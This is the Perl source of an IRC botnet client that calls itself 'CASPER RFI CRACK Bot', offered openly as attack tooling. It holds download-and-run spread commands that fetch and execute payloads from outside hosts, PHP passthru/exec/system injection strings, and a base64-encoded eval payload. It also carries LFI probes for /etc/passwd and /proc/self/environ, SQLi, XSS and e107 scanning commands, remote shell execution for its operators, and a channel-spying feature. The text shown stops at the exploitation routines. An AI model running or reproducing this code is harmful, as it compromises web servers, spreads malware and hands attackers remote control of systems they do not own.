1. #!/usr/bin/perl
  2. my $aboutbot='
  3. ################################
  4. # CASPER RFI CRACK Bot v2.3 #
  5. # By Kiss_Me Alert jul 2010. #
  6. # Casper_kae@yahoo.com #
  7. ################################
  8. ';
  9. print($aboutbot);
  10. use strict;
  11. use Socket;
  12. use IO::Select;
  13. use IO::Socket::INET;
  14. use LWP::UserAgent;
  15. use HTTP::Request::Common qw(POST);
  16.  
  17. my $versi = "NEW";
  18. my @cmdpreZ = ("!");
  19. my $cmdpre = $cmdpreZ[rand(scalar(@cmdpreZ))];
  20.  
  21. ##[ KONFIGURASI URL ]##
  22. my $Ckrid = "http://www.yeshouse.net/column/Ckrid1.txt?";
  23. my $Ckrid2 = "http://www.yeshouse.net/column/Ckrid2.txt?";
  24. my $spread = "http://www.yeshouse.net/column/Casper2.txt??";
  25. my $spread2 = "http://www.yeshouse.net/column/Casper2.txt??";
  26. my $joomlaz = "http://www.amazingwebsolutions.com./media/system/js/joomla.txt";
  27. my $e107cmdsp = "kill-all -9 perl;cd /var/tmp;cd /tmp;rm -fr *;lwp-download http://www.yeshouse.net/column/ua.txt -O ua.txt;curl -O http://www.yeshouse.net/column/ua.txt -O ua.txt;http://www.yeshouse.net/column/ua.txt -O ua.txt;perl ua.txt";
  28. my $e107cmdsp2= "cd /var/tmp;cd /tmp;rm -fr *;http://www.yeshouse.net/column/perl.txt -O perl.txt;lwp-download http://www.yeshouse.net/column/perl.txt -O perl.txt;curl -O http://www.yeshouse.net/column/perl.txt -O perl.txt;perl perl.txt";
  29. my $bypass = "http://neirg.org/logs/deckerservices.php";
  30.  
  31.  
  32. ##[ KONFIGURASI IRC ]##
  33. my @servers = ("eten.ocean-law.com");
  34. my @ports = ("2010");
  35. my @nickcrs = ("revo-");
  36. my %bot = (
  37. nick => $nickcrs[rand(scalar(@nickcrs))].int(rand(10)).int(rand(10)).int(rand(10)).int(rand(10)),
  38. ident => $nickcrs[rand(scalar(@nickcrs))].$nickcrs[rand(scalar(@nickcrs))],
  39. chan => "#revo",
  40. server => $servers[rand(scalar(@servers))],
  41. port => $ports[rand(scalar(@ports))],
  42. passerv => ""
  43. );
  44.  
  45.  
  46. ##[ KONFIGURASI USER ##
  47. my %boss = (
  48. cow_revo => {
  49. pass => 'ew',
  50. status => "admin",
  51. cryptz => 0,
  52. login => 0
  53. },
  54. ricky_boy => {
  55. pass => 'ew',
  56. status => "admin",
  57. cryptz => 0,
  58. login => 0
  59. },
  60. );
  61.  
  62. ##[ KONFIGURASI LOCAL ]##
  63. my $rcetest = "|echo%20%22casper%22;echo%20%22kae%22;|";
  64. my $lfitest = "../../../../../../../../../../../../../../../proc/self/environ%00";
  65. my $xsslfitst= "../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././..";
  66. my $lfiid2 = bukasitus($Ckrid2);
  67. my $lfisprd = bukasitus($spread);
  68. my $lfisprd2 = bukasitus($spread2);
  69. my $e107sprd = "include('".$spread."')";
  70. my $e107sprd2= "passthru('".$e107cmdsp."');exec('".$e107cmdsp."');system('".$e107cmdsp."');shell_exec('".$e107cmdsp."');";
  71. my $e107sprd3= "passthru('".$e107cmdsp2."');exec('".$e107cmdsp2."');system('".$e107cmdsp2."');shell_exec('".$e107cmdsp2."');";
  72. my $caspercmd= "eval(base64_decode('PSdINHNJQ05lNVNVb0FBR2x6Ynk1MFlYSUE3Vm5yY3RKQUZIYjBuek8rd3pGbFJ1Z2xFS0N0b3RRTFZzVkw2VURWSDAxMVFoSmdKV1RUYkNLdGJYMTJ6MjRTV2lEaDBrSm5uT21PUzVQZHMrYzc5ODJ1aEZIWk8vSHVMYk1Cd1BiMk51QmZiTG1SdjVEUEtia2lLRW8rbjFlMmNrVWxqMk9ieGMwQzNNdmR1MnZMYml1UHN6NXpzMDFpWngzVHRSNDlmUFJ3SmJZOWV0ZzdoVmZNZEgrYkxvTXlwQ1hpNnJKbVdiYnA5YW5ibGFuYmx0WWx4OUtZSmhOamZNWXpyUzd0NFZqc0xMRU5hbW1ucGl2N2JIeTJTZHF4cS9TbW5jaXRiemFaaC96RzV6UFBoVEtwUUJtQWN2VElEbDNOTm9EcG1xVzVBMldQQXZKWERuVTlCaUIwMzlyYTJoN3c0UlBBSjRMSEVTNWk2Q2drMVR1YWJac1dra29ydXF2cFhTbWNvSDJiaThJblBoSEdmbjR4b3huSHBicXQ5VXljRWE1aTNGY2R6M01NcEVoMFZpQ3lUZlF1WHl0a1BrYkQ5TEc3M0JuWVQ3bTdzRFBzQm5adXVBNzJYOWk3MkMzc2Y3Q2ZZUC9ObllEZHh0N0Rib2JyZlc1czdCUzdoZ2FKZ0YxVHN3UXdJbU9jL09TQ3BET2hJYjkvcUlXNkhSLzd2YksweWhWSnZhNi9yNVJmNGU4My90YW92aityZlBqODlnSVpNTDhKWjlEWGlBY1h6MkVGTk1zenVZa3BVR0NrYld0V3lNMGpEcElmbjZRREk1R1dUdTBXYWNONTJ6VWRJQmdEY0E1OUhUYXNTQlRpTUFYS1NTdFVTYXpSRE1OVlM2b0U2cm5XNzRLNjhRN1VKOEUvOVV4MVhHSjdvS2J5Nm9VWU93ZmR4L2NOZlV2ZHVBS1RqNEZCS20wWXlyUU5WWjZPVlJCWUVmZFdreG14M0sreVZ1Y1ZYd25FUjlsRnVndFRyUWVxckFlWWZKbzZwcDBtemgvaTZSMjZMdTNnTk45UHBBeWNuNE5CVEpBMklCd0RtM3JRb3I0dEFoY0dMWkFnNGlFSmlHRUszYUxNSEtCY2tVcm9kd1lzcTlxcGJCWXV4Rm9lUGptY3ZFd2RBQmtrTlNmQ2pFZGlIbWZGQXc0RTZJMkR0N1d2QjBoa3I0R1BlYS9hMHRqY0dqU0NnbEVLNmtVUzFYNVFEa3BCTllpbnFRWHBYZ29UUDU2b0VoU0wwcUJzeEpOVjl4bHd2Q0FCVkR1Z1FpMmdXaXVWR2xUdm1oNE90Q2dtcGQ0Qm5pbnY2clV2Z1VzemNJYVdGbldHR0dnV3BNSkU1Vm5XRG5QTTc2SGpmbFBneGpRWm85d3h2bTNoSTZUNUl1U0E2Q3RCQ2hMRHRMMnhsQStNRFRIajNEdWo0eW1HSXBjdlpTK1ZxbnU3QnhzN3R0bFBmNlpZVlY5alBrSjVKMUJqSGZaZDZ0SHlqdVRwam9SdnB1bHlBcHdQdlJTTWNhL2dtUENKQ0U3emhIZ0NieENDQWhpa3ZXcmxFMGh5S2lxZXcrVThHajM2UHdna0hnM2pPbjV0N05aRGJ3Vm1IT3lHcFZ2UlBCU3IzeUdXQ2VrWFFxb2RFWXV4SVJRYlA3SEJBMkVqTFVobmY1VGt0WmNxS3hZS0tzc2lkNHhxd1Vpek1CV01VOXdSZUxMelJaY3RLQkJKYkdGU3NPUUgxZzdiUmJ3OGhlMnRnVHdtbW9lMm9FYzlZd0xLeDFwMWIxQUZ4akN1b2lESWZuWHZQWlRTOG1vbW0wRUlMSkhXS2JIYjRIVk1jUEJoQXM1K2pTOU5LU01RSXdCcUthaGFqK1ZWOVpXOHVsK3ZmdnZTZUMrdmx1UW1WdmdRZUFKS1NobmhQaFB2SG12SHNrNkVDZGR5N3lpeUJDWCtNSERSZk5qOURwMFBHeGNnWE9TeE1kRHhtRmdyYk9ieFYyMnNEWDdUT0pGSllaeE1BSTFxSytNN212SThtWEFsSXZzcmRzdHNkbVphZHlLdDQ3Tk9tbi9SclFOekxLeW9XY2l1aHpKbE1oTVdEdTlpS1RUWW9YSjBIZDhZdXQ2eUtEV21PZ2kzTmtncklNdXdtWUZaSFRrYVJHb3VwN3l0VktEeTRmVUJvSHM5Zm5KVmlrODNsWUlDU2k1ZjVBU2hHZ250WWw0TjBUYUVMVkZId1QvVWNNR2lkNmd6WEJBbWxyaTRWRjJ3cnZ1djZ3Znp3ZHhReW1HVHpWaEhkZnlXRVE2ZnpYWnhRZnB0dDk2bzF2YW1oK1AxekhnVHhLbWMrQTQybmMyMUxJdTd5Qkl6YVZTWit3K0t6R2QrendlZFdLUWJ0ZnNQbHFBWm5xNkliaTVSdWIzYVFiV3l1M2pkaEY2NzlYcXREcVdwa284Y2E1SUpiK01Vd1QrOW9wUEU5TDB1NW90Um5xZjJUUGhtRjUvQzE5azhqMzNpVGJVNUh1TUg2bzJ6UmpaUW9maVpvM3VFMnVDUm5vbWZ0UDUwdHNOZkFJZC9qNjZ5T1JCc2FyNzNHT3FtNS9JUDJNZGN3YnZJbUM4eWJ2TTBOMS9vTWRiVG12VFVZek1HeWxpSkRSaUxqZmdOeFVDSytNMWh1RmhtWHhrL0xiR1J1NTdGY0hXRzdvWVd3NVA3SWVESm54YkRrMTY5bjFxVThrR0E0aXVHNmswNU9yN25rZzA4YjBiM1haZmJ5K1YyQ1dQeGg4ZXFLeUVvWm5CSVJDQWtoMkIwUFYvR0k5WlVHbjVvZ214Mk5rTFZUYzFNeXE4NGh4UU5mbm1ORWNNWFdIWHdIVy9MQjNjWGVNVVEvcitEeS9DZG54TFJzR21leG1rbEo4NW5wSVZzMHBjRVpjanhtd25YOUh6WGh1bXBmemhEaFpHT3BoTTlGN3BZakxTR2hGSG1FV1pJdCtzaTVwZUhPSlVnUWFUQ1BDSk5KWmhQNWdTUmlnc1ZhZmtFQ1dwczNxNGFDekg5MWlKbFRzRFlYaVRHelFrU3BIeTZVQ2xuTFdVSndqeGJxREQvQTRFd0JQNjdkOWZ1MmwyN2EzZnR2MnYvQUw4SXd6a0FLQUFBJztwYXNzdGhydSgnY2QgL3Zhci90bXA7Y2QgL3RtcDsnKTtleGVjKCdjZCAvdmFyL3RtcDtjZCAvdG1wOycpO3N5c3RlbSgnY2QgL3Zhci90bXA7Y2QgL3RtcDsnKTtzaGVsbF9leGVjKCdjZCAvdmFyL3RtcDtjZCAvdG1wOycpOz1AZm9wZW4oJ2lzby50Z3onLCd3Jyk7aWYgKCkge0BmcHV0cygsQGJhc2U2NF9kZWNvZGUoKSk7QGZjbG9zZSgpO31lbHNle2VjaG8oJ2Vycm9yJyk7fSBwYXNzdGhydSgndGFyIC16eHZmIGlzby50Z3o7cGVybCBpc28udHh0Jyk7ZXhlYygndGFyIC16eHZmIGlzby50Z3o7cGVybCBpc28udHh0Jyk7c3lzdGVtKCd0YXIgLXp4dmYgaXNvLnRnejtwZXJsIGlzby50eHQnKTtzaGVsbF9leGVjKCd0YXIgLXp4dmYgaXNvLnRnejtwZXJsIGlzby50eHQnKTs='));";
  73. my $cmdlfiu = "";
  74. my $cmdrfiu = "";
  75. my $cmdxmlu = "";
  76. my $sqltest = "'";
  77. my $lfiUA = "";
  78.  
  79. ##[ KONFIGURASI SPY ]##
  80. my %spy = (
  81. host => "",
  82. chanz => [""],
  83. wordz => ['http://.+?[=]'],
  84. foundz => []
  85. );
  86.  
  87. ##[ KONFIGURASI BOT ]##
  88. my %conf = (
  89. showsite => 0,
  90. showdbse => 0,
  91. linez => 3,
  92. sleepz => 3,
  93. rfipid => 50,
  94. rficnt => 100,
  95. rficnt2 => 200,
  96. timeout => 15,
  97. );
  98.  
  99. ##[ KONFIGURASI WARNA ]##
  100. my %colz = (
  101. 1 => "" , 2 => "2",
  102. 3 => "3" , 4 => "4",
  103. 5 => "5" , 6 => "6",
  104. 7 => "7" , 8 => "8",
  105. 9 => "9" , 10 => "10",
  106. 11 => "11" , 12 => "12",
  107. 13 => "13" , 14 => "14",
  108. );
  109.  
  110. ##[ PARAMETER BARIS PERINTAH ]##
  111. $bot{chan} = "#".$ARGV[0] if $ARGV[0];
  112. $bot{server} = $ARGV[1] if $ARGV[1];
  113. $bot{port} = $ARGV[2] if $ARGV[2];
  114.  
  115. ##[ INISIALISASI VARIABEL ]##
  116. my $dbgchan = "#cow_revo"; #For debugging purposes (Optional)
  117. my @chans = ($bot{chan});
  118. my @badbugz = ("scan","bug"); #Bad bugs to cancel scanning
  119. my @baddorkz = ("dork"); #Bad dorks to cancel scanning
  120. my @badlinkz = ("access*log","accesslog","awstats","error.log","wwwstats","google.com","yahoo.com"); #Bad links to exclude
  121. my $keluar = 0;
  122. my $sock;
  123.  
  124. ##[ PROGRAM UTAMA ]##
  125. if (fork() == 0) {
  126. while ($keluar != 1) { if($aboutbot =~ /Casper/){irc_connect();} }
  127. die("KeLuaR!");
  128. }
  129.  
  130. ##[ SUBRUTIN KONEKSI IRC ]##
  131. sub irc_connect {
  132. $sock = IO::Socket::INET->new(PeerAddr => $bot{server},
  133. PeerPort => $bot{port},
  134. Proto => 'tcp')
  135. or die "Error: Ga bisa connect ke ".$bot{server}.":".$bot{port}."!\r\n";
  136. $sock->autoflush(1);
  137.  
  138. if ($bot{passerv} != "") {irc_pasv($bot{passerv});}
  139. irc_nick($bot{nick});
  140. irc_user($bot{ident});
  141.  
  142. my ($baris,$hb);
  143. my $loginboss = 0;
  144. my $userstat = "";
  145.  
  146. while ( $baris = <$sock> ) {
  147. $hb++;
  148.  
  149. ##[ PARSING ]##
  150. my $com;
  151. my $me = $bot{nick};
  152. my ($fcom,$dteks,@teks) = split(/\s+:/,$baris);
  153. my ($duhost,$dcom,$dtarget) = split(/ /,$fcom);
  154. my ($dnick,$dhost) = split(/!/,$duhost);
  155. $e107sprd2= "passthru('".$e107cmdsp."');exec('".$e107cmdsp."');system('".$e107cmdsp."');shell_exec('".$e107cmdsp."');";
  156. $e107sprd3= "passthru('".$e107cmdsp2."');exec('".$e107cmdsp2."');system('".$e107cmdsp2."');shell_exec('".$e107cmdsp2."');";
  157. $dcom = "" unless ($dcom);
  158. $dtarget = "" unless ($dtarget);
  159. $dnick =~ s/://;
  160. $dteks = trimrn($dteks);
  161. if ($dteks =~ /^[$cmdpre](.*)/) { $com = $1; } else { $com = ""; }
  162.  
  163. ##[ CEK USER ]##
  164. if ($boss{$dnick}) { ($loginboss,$userstat) = ($boss{$dnick}{"login"},$boss{$dnick}{"status"}); }
  165. else { ($loginboss,$userstat) = (0,""); }
  166.  
  167. ##[ RESPON KE SERVER ]##
  168. if ($dnick =~ /PING/) { irc_raw("PONG $dteks"); }
  169. if ($dcom =~ /001/) { irc_join($bot{chan}); sleep(1); irc_join($dbgchan); sleep(1); foreach my $c (@chans) { irc_join($c); sleep(1); } if ((fork() == 0) && ($bot{server} !~ /allnetwork/)) { } }
  170. elsif ($dcom =~ /NICK|PART|QUIT/) { if ( $boss{$dnick}{"login"} == 1 ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout!"); } }
  171.  
  172. ##[ PERINTAH PUBLIK ]##
  173. if (($dtarget) && ($dtarget eq $me)) { $dtarget = $dnick; }
  174. if (($dteks =~ /$bot{nick}\s+(.+?)\s+(.*)/) && ( fork() == 0 )){
  175. my ($cmdcr,$crcmd)=($1,$2);
  176. my $crscan = $cmdcr." ".$crcmd;
  177. my $cmd = "python casper ".$crcmd;
  178. if($cmdcr =~ /sqli/){
  179. irc_msg($dtarget,"Procesing [".$colz{9}."SQLI".$colz{1}."] ".$colz{14}.$crcmd);
  180. if ($cmd =~ /;/) { irc_msg($dtarget,$colz{4}."Error!"); return; }
  181. else{
  182. my @output = `$cmd`;
  183. my $i = 0;
  184. foreach my $out (@output) {
  185. $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
  186. irc_msg($dtarget,$colz{7}."$out");
  187. }
  188. exit;
  189. }
  190. }
  191. elsif($crscan =~ /sql\s+(.+?[=])\s+(.*)/) { if ($dtarget && $dtarget ne $me) { crsql_scanz($dtarget,$1,$2,$hb,1,1); exit; }}
  192. elsif($crscan =~ /domxml\s+(.+?)\s+(.*)/) { if ($dtarget && $dtarget ne $me) { crsql_scanz($dtarget,$1,$2,$hb,2,2); exit; }}
  193. elsif($crscan =~ /xml\s+(.+?)\s+(.*)/) { if ($dtarget && $dtarget ne $me) { crsql_scanz($dtarget,$1,$2,$hb,2,1); exit; }}
  194. elsif($crscan =~ /xss\s+(.+?[=])\s+(.*)/) { if ($dtarget && $dtarget ne $me) { crsql_scanz($dtarget,$1,$2,$hb,4,1); exit; }}
  195. elsif($crscan =~ /dome107\s+(.+?)\s+(.*)/) { if ($dtarget && $dtarget ne $me) { crsql_scanz($dtarget,$1,$2,$hb,3,2); exit; }}
  196. elsif($crscan =~ /e107\s+(.+?)\s+(.*)/) { if ($dtarget && $dtarget ne $me) { crsql_scanz($dtarget,$1,$2,$hb,3,1); exit; }}
  197. elsif($crscan =~ /domscan\s+(.+?[=])\s+(.*)/) { if ($dtarget && $dtarget ne $me) { s_scanz($dtarget,$1,$2,$hb,2,2); exit; }}
  198. elsif($crscan =~ /scan\s+(.+?[=])\s+(.*)/) { if ($dtarget && $dtarget ne $me) { s_scanz($dtarget,$1,$2,$hb,2,1); exit; }}
  199. }
  200. if ($com =~ /^help$/) { bot_help($dtarget,1); }
  201. elsif ($com =~ /^info$/) { bot_info($dtarget); }
  202. elsif ($com =~ /^url(en|de)\s+(.*)/) {
  203. my $url = $2; my $en;
  204. if ( $1 eq "en" ) { $en = "Encode"; $url = urlen($url); }
  205. elsif ( $1 eq "de" ) { $en = "Decode"; $url = urlde($url); }
  206. msgi($dtarget,$colz{9}."URL".$colz{8}." $en",$colz{14}.$url);
  207. }
  208. elsif ($com =~ /^cek\s+(http:\/\/.*[=])/) { cek_shell($dtarget,$dnick,$1); }
  209. ###
  210. elsif ($com =~ /^ip\s+(.*)/) { cr_ipcek($dtarget,$1); }
  211. elsif ($com =~ /^zip\s+(.*)/) { cr_zipcek($dtarget,$1); }
  212. elsif ($com =~ /^textenc\s+(.*)/) { cr_encrypt($dtarget,$1); }
  213. elsif ($com =~ /^textdec\s+(.*)/) { cr_decrypt($dtarget,$1); }
  214. ###
  215. elsif ($com =~ /^respon/) { cek_respon($dtarget); }
  216. elsif ($com =~ /^milw0rm\s+(.*)/) { milw0rm($dtarget,$1); }
  217. elsif ($com =~ /^auth$|auth\s+(.*)/ && $boss{$dnick}) {
  218. my $pass = $1; my $auth = $boss{$dnick}{"login"};
  219. if ( $pass && $auth == 0 ) {
  220. if ($boss{$dnick}{"cryptz"} == 1) { $pass = cryptz($pass); }
  221. if ($pass eq $boss{$dnick}{"pass"}) {
  222. $boss{$dnick}{"login"} = 1;
  223. irc_ntc($dnick,"OK ".$boss{$dnick}{"status"}."!");
  224. }
  225. else { irc_ntc($dnick,"Error!"); }
  226. }
  227. else {
  228. if ($auth == 0) { irc_ntc($dnick,"Blom auth!"); }
  229. else { irc_ntc($dnick,$boss{$dnick}{"status"}."!"); } }
  230. }
  231. if ($dtarget && $dtarget ne $me) {
  232. if (($com =~ /^scan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,1,1); exit; }
  233. elsif (($com =~ /^scan2\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,2,1); exit; }
  234. elsif (($com =~ /^cmdlfi\s+(.+?[=])\s+(.*)/)) { irc_msg($dtarget,$colz{14}."Cek target ".$colz{4}.$dnick.".!"); cmd_lfi($dtarget,$1,$2); }
  235. elsif (($com =~ /^cmdrfi\s+(.+?[=])\s+(.*)/)) { irc_msg($dtarget,$colz{14}."Cek target ".$colz{4}.$dnick.".!"); cmd_rfi($dtarget,$1,$2); }
  236. elsif (($com =~ /^cmdxml\s+(.+?)\s+(.*)/)) { irc_msg($dtarget,$colz{14}."Cek target ".$colz{4}.$dnick.".!"); cmd_xml($dtarget,$1,$2); }
  237. elsif (($com =~ /^cmde107\s+(.+?)\s+(.*)/)) { irc_msg($dtarget,$colz{14}."Cek target ".$colz{4}.$dnick.".!"); cmd_e107($dtarget,$1,$2); }
  238. }
  239. ##[ END OF PUBLIC ]##
  240.  
  241. ##[ PERINTAH USER ]##
  242. if ($loginboss == 1) {
  243. if ($com =~ /^help/) { bot_help($dtarget,2); }
  244. elsif ($com =~ /^join\s+(.*)/) { irc_join($1); push(@chans,$1); }
  245. elsif ($com =~ /^part\s+(.*)/) {
  246. my $pchan = $1; irc_part($1);
  247. for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
  248. }
  249. elsif ($com =~ /^nick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
  250. elsif ($com =~ /^hitung\s+([0-9].*)/) { $conf{rficnt} = $1; msgi($dtarget,$colz{14}."Count",$colz{8}.$conf{rficnt}); }
  251. elsif ($com =~ /^bos$/ ) { my @bos = keys %boss; my $bos2 = join(" ",@bos); msgi($dtarget,$colz{14}."BoZz",$colz{8}.$bos2); }
  252. elsif ($com =~ /^cryptz\s+(.*)/) { msgi($dnick,$colz{14}.$1,$colz{9}." ".cryptz($1)); }
  253. elsif ($com =~ /^logout$/ ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout berhasil!"); }
  254. elsif (($com =~ /^joomla\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,"",$1,$hb,3,1); exit; }
  255. elsif ($com =~ /^sublink\s+(.*)/) { my @sl = lnk_sub($1); foreach my $e(@sl) { irc_msg($dtarget,$colz{8}." ".$e); } }
  256. elsif ($com =~ /^http(1|2|3)\s+(.+?)\s+(.*)/) {
  257. my ($t,$nf,$q) = ($1,$2,$3);
  258. my $h;
  259. if ($t == 1) { $h = bukasitus($q); }
  260. elsif ($t == 2) { $h = bukasitus2($q); }
  261. else { $h = bukasitus3($q); }
  262. f_simpan2($nf,$h); ntci($dnick,"SaVeD ($t)",$nf);
  263. }
  264. elsif ($com =~ /^regex(1|2)\s+(.+?)\s+(.*)/) {
  265. my $n = $1;
  266. my $q = bukasitus($2);
  267. my $regex = $3;
  268. if ($n ==1) {
  269. if ($q !~ /$regex/) { irc_msg($dtarget,$colz{4}."Ga cocok!"); }
  270. while ($q =~ m/$regex/g ) { irc_msg($dtarget,$colz{4}." ".$1); sleep(1); }
  271. }
  272. else {
  273. while ($q =~ m/<a href=\"(.*?)\">http:\/\/(.*?)<\/a>/g) { irc_msg($dtarget,$colz{9}." ".$2); sleep(1); }
  274. }
  275. }
  276. }
  277. ##[ END OF USER ]##
  278.  
  279. ##[ PERINTAH ADMIN ]##
  280. if (($loginboss == 1) && ($userstat eq "admin")) {
  281. if ($com =~ /^help/) { bot_help($dtarget,3); }
  282. elsif ($com =~ /^chans/) { my $chans = join(",", @chans); ntci($dnick,"ChaNz",$chans); }
  283. ##[ PERINTAH SPY ]##
  284. elsif ($com =~ /^spy$/ ) { ntci($dnick,"SpY","Host: ".$spy{"host"}." Chans: ".join(",", @{ $spy{"chanz"} })." Words: ".join(",", @{ $spy{"wordz"} })); }
  285. elsif ($com =~ /^spy(found|show|clear)$/ ) {
  286. my $n = $1;
  287. if ($n eq "found") { msgi($dtarget,$colz{14}."SpYFouNd",$colz{8}." ".scalar(@{ $spy{"foundz"} })); }
  288. elsif ($n eq "show") {
  289. my $i = 0;
  290. for my $f (@{ $spy{"foundz"} }) { irc_msg($dtarget,$colz{8}." ".$f); }
  291. $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
  292. }
  293. elsif ($n eq "clear") { $spy{"foundz"} = []; msgi($dtarget,$colz{14}."SpyList",$colz{8}."DiBersiHkaN!"); }
  294. else { msge($dtarget,$colz{14}."Spy",$colz{14}."PeRinTah SaLah!"); }
  295. }
  296. elsif ($com =~ /^spyhost\s+(.*)/ ) { $spy{"host"} = $1; ntci($dnick,"SpYHosT",$spy{"host"}); }
  297. elsif ($com =~ /^spychan\s+(.*)/ ) {
  298. unless ($spy{"host"}) { msge($dtarget,$colz{8}."SiLaHkaN SeT SpyHost TerLebih DahuLu!",""); }
  299. else{ irc_join($1); push @{ $spy{"chanz"} }, $1; my $chans = join(",", @{ $spy{"chanz"} }); ntci($dnick,"SpYChaNz",$chans); }
  300. }
  301. elsif ($com =~ /^spyword\s+(.*)/ ) { push @{ $spy{"wordz"} }, $1; my $words = join(",", @{ $spy{"wordz"} }); ntci($dnick,"SpYWoRDz",$words); }
  302. ##[ END OF PERINTAH SPY ]##
  303. elsif ($com =~ /^quit/) { irc_quit("Good Bye!"); $keluar = 1; exit; }
  304. elsif ($com =~ /^keluar/) { irc_quit("Killed!"); $keluar = 1; system("killall perl"); exit; }
  305. elsif ($com =~ /^raw\s+(.*)/) { irc_raw($1); }
  306. elsif ($com =~ /^rfipid\s+([0-9].*)/) { $conf{rfipid} = $1; msgi($dtarget,$colz{14}."Pid",$colz{8}." ".$conf{rfipid}); }
  307. elsif ($com =~ /^crespon(1|2)\s+(.*)/) {
  308. my ($n,$url) = ($1,$2);
  309. if ($n == 1) { $Ckrid = $url; }
  310. elsif ($n == 2) { $Ckrid2 = $url; }
  311. msgi($dtarget,$colz{14}."Respon $n RFI",$colz{12}.$url);
  312. }
  313. elsif ($com =~ /^cspread1\s+(.*)/) {
  314. my $url = $1;
  315. $spread = $url;
  316. $lfisprd = bukasitus($spread);$lfisprd2 = bukasitus($spread2);
  317. $e107sprd = "include('".$spread."')";
  318. msgi($dtarget,$colz{14}."Spread",$colz{12}.$spread);
  319. }
  320. elsif ($com =~ /^cspread2\s+(.*)/) {
  321. my $url = $1;
  322. $spread2 = $url;
  323. $lfisprd = bukasitus($spread);$lfisprd2 = bukasitus($spread2);
  324. msgi($dtarget,$colz{14}."Spread2",$colz{12}.$spread2);
  325. }
  326. elsif ($com =~ /^cmdspread\s+(.*)/) {
  327. my $url = $1;
  328. $e107cmdsp = $url;
  329. msgi($dtarget,$colz{14}."cmdSpread",$colz{12}.$url);
  330. }
  331. elsif ($com =~ /^cmdspread2\s+(.*)/) {
  332. my $url = $1;
  333. $e107cmdsp2 = $url;
  334. msgi($dtarget,$colz{14}."cmdSpread2",$colz{12}.$url);
  335. }
  336. elsif ($com =~ /^cshurl\s+(.*)/) {
  337. my $url = $1."/";
  338. $Ckrid = $url."Ckrid1.txt?";
  339. $Ckrid2 = $url."Ckrid2.txt?";
  340. $spread = $url."casper2.txt?";
  341. $spread2 = $url."casper2.txt?";
  342. $e107sprd= "include('".$url."Casper2.txt?"."')";
  343. $lfisprd = bukasitus($url."Casper2.txt?");
  344. $lfisprd2= bukasitus($url."casper2.txt?");
  345. msgi($dtarget,$colz{14}."shurl",$colz{12}.$url);
  346. }
  347. elsif ($com =~ /^\+bos\s+(.+?)\s+(.*)/) {
  348. $boss{$1}{pass} = "cr";
  349. $boss{$1}{status} = $2;
  350. $boss{$1}{login} = 0;
  351. $boss{$1}{cryptz} = 0;
  352. ntci($dnick,"BoZz","$1 ditambahkan sbg ".$boss{$1}{status});
  353. msgi($1,"BoZz","Hai $1! Ketik .auth ".$boss{$1}{pass});
  354. }
  355. elsif ($com =~ /^eval\s+(.*)/) { eval($1); }
  356. elsif (( $com =~ /^cmd\s+(.*)/) && ( fork() == 0 ) ) {
  357. my $cmd = $1;
  358. if ($cmd =~ /cd (.*)/) { chdir("$1") || irc_msg($dtarget,$colz{4}."Ga bisa ganti dir!"); return; }
  359. my @output = `$cmd`;
  360. my $i = 0;
  361. foreach my $out (@output) {
  362. $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
  363. irc_msg($dtarget,$colz{14}."$out");
  364. }
  365. exit;
  366. }
  367. }
  368. ## END OF ADMIN ##
  369.  
  370. ##[ MATA-MATA ]##
  371. if ($dtarget ne $spy{"host"}) {
  372.  
  373. my $is_spychan = grep $_ eq $dtarget, @{$spy{"chanz"}};
  374. if ($is_spychan == 1) {
  375. for my $t (@{$spy{"wordz"}}) {
  376. if ($dteks =~ /$t/) {
  377. msgi($spy{"host"},"!",$dteks); sleep(1);
  378. push @{ $spy{"foundz"} }, $dteks;
  379. }
  380. }
  381. }
  382. }
  383. ##[ END OF MATA-MATA ]##
  384. }
  385. ## END WHILE ##
  386. }
  387. ## END KONEK ##
  388.  
  389. #########################
  390. ##[ RUTIN EKSPLOITASI ]##
